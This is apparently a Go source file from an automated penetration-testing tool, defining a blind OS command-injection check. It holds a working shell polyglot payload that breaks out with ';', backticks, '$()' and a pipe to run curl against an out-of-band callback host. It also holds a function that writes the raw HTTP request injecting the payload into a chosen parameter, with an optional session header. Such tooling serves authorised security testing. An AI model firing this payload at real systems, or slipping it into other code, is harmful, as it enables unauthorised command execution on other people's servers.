package exploit

import (
	"fmt"
	"strings"

	"github.com/Armur-Ai/Pentest-Swarm-AI/internal/swarm/verify"
)

// cmdInjectionPolyglot is a shell command-injection payload that breaks out of
// several common contexts at once (statement separator, pipe, backticks,
// subshell) and, in each, fetches the §OOB§ callback URL. A blind OS command
// injection has no response signal; the only ground truth is the target's
// machine resolving/fetching a host we control, which is exactly what the OOB
// oracle observes. curl triggers both DNS and HTTP interactions, so a callback
// fires even when only egress DNS is allowed.
const cmdInjectionPolyglot = ";curl " + verify.OOBMarker + ";`curl " + verify.OOBMarker + "`$(curl " + verify.OOBMarker + ")|curl " + verify.OOBMarker

// CmdInjectionOOBSpec turns a suspected OS-command-injection parameter into an
// out-of-band re-proof recipe: it injects a shell polyglot that fetches the
// §OOB§ callback in several breakout contexts. A callback is blind command
// injection proven against infrastructure we control; silence never disproves
// (a WAF, egress filtering, or a non-vulnerable sink all look like silence).
//
// targetURL is the endpoint under test; param is the candidate sink parameter;
// authHeader is an optional session credential. The payload is query-encoded
// around the §OOB§ slot so the raw request stays well-formed; the server decodes
// it before the (vulnerable) shell sees it.
func CmdInjectionOOBSpec(targetURL, param, authHeader string) (*verify.ProbeSpec, error) {
	if strings.TrimSpace(param) == "" {
		return nil, fmt.Errorf("cmd-injection: empty parameter")
	}
	host, pathQuery := splitHostPath(targetURL)
	path, query := pathQuery, ""
	if i := strings.IndexByte(pathQuery, '?'); i >= 0 {
		path, query = pathQuery[:i], pathQuery[i+1:]
	}
	if path == "" {
		path = "/"
	}
	var b strings.Builder
	b.WriteString("GET " + path + "?" + markParam(query, param) + " HTTP/1.1\r\n")
	writeCommonHeaders(&b, host, authHeader)
	b.WriteString("\r\n")

	// Encode the shell metacharacters for the query context, keeping §OOB§
	// literal so the oracle can substitute the callback URL.
	oobTemplate := encodePreservingMarker(cmdInjectionPolyglot, verify.OOBMarker)
	return verify.NewOOBSpec(b.String(), "", oobTemplate)
}
